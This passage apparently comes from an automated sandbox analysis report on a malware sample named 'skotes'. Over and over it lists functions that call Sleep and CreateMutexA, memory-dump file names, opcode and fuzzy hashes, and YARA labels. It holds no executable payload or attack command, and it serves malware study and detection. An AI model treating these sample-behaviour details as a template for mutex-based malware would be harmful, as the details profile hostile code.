CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 503c106e15c381b0eda63dd9ef1a72e58f4df2821e46c455680a718430720fcc
Instruction ID: f72f8067b305c38a96671adf4d73f96a6b056c66973619b2aee96143f600b388
Opcode Fuzzy Hash: 503c106e15c381b0eda63dd9ef1a72e58f4df2821e46c455680a718430720fcc
Instruction Fuzzy Hash: CF3116717046009BEB08AB78ED9D7AFF7A6AB97320F248218E018973D6D7758981C761

Function 00AA9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c58344804e05ad070ba2284b3ad327a8b57063b03459ae57c844895b70962431
Instruction ID: dee8595c366d4013a18ed9a5d6de72914f6dab3da705173393d1be0fb28b4dd3
Opcode Fuzzy Hash: c58344804e05ad070ba2284b3ad327a8b57063b03459ae57c844895b70962431
Instruction Fuzzy Hash: B03148317002009BEB189B79DD9C7AEF7A6EB97310F204619E018DB2D5D7368981C722

Function 00AAA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 090d0a733f5b1e553e66b2d8c68606c35c397604b165d8f47e5cfab1bbebbf5b
Instruction ID: 8eaa60b59a7bfdcfdb31c92bf32b2e7ab7b8ef6f64fdee4a0a0cf233a0b2405a
Opcode Fuzzy Hash: 090d0a733f5b1e553e66b2d8c68606c35c397604b165d8f47e5cfab1bbebbf5b
Instruction Fuzzy Hash: 983146317102009BEB08DB78DD9DBADF7F6DBA7310F208219E018973D5D7369981C622

Function 00AAA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e4745247c1bfd03195e4c411165d1341906f0131e2923bb21f9fe4a90736cc79
Instruction ID: e3061f6fad8afb4c4ddbd061a9f866ec63d07f5d2d407f7f5c615740911d1043
Opcode Fuzzy Hash: e4745247c1bfd03195e4c411165d1341906f0131e2923bb21f9fe4a90736cc79
Instruction Fuzzy Hash: 5B3124317002009BEB189BACDD9DBADF7F6ABA7310F204219E018973D1D73A8985C622

Function 00AAA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a5dbaff5cd2aca4baf1ec2beefc87442a392407f8924a422e782cc1f4424c771
Instruction ID: 04fc72bf9f2452ed9a239a68016508e87b46b72913b90ffe8ae6b6ad9823a408
Opcode Fuzzy Hash: a5dbaff5cd2aca4baf1ec2beefc87442a392407f8924a422e782cc1f4424c771
Instruction Fuzzy Hash: CD3127317102009BEB08ABB8DD9DBADF7A6EFA6310F204219E018973D6D7758980C662

Function 00AAA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000002.00000002.1754737566.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1754799297.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755139942.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755298174.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755353906.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
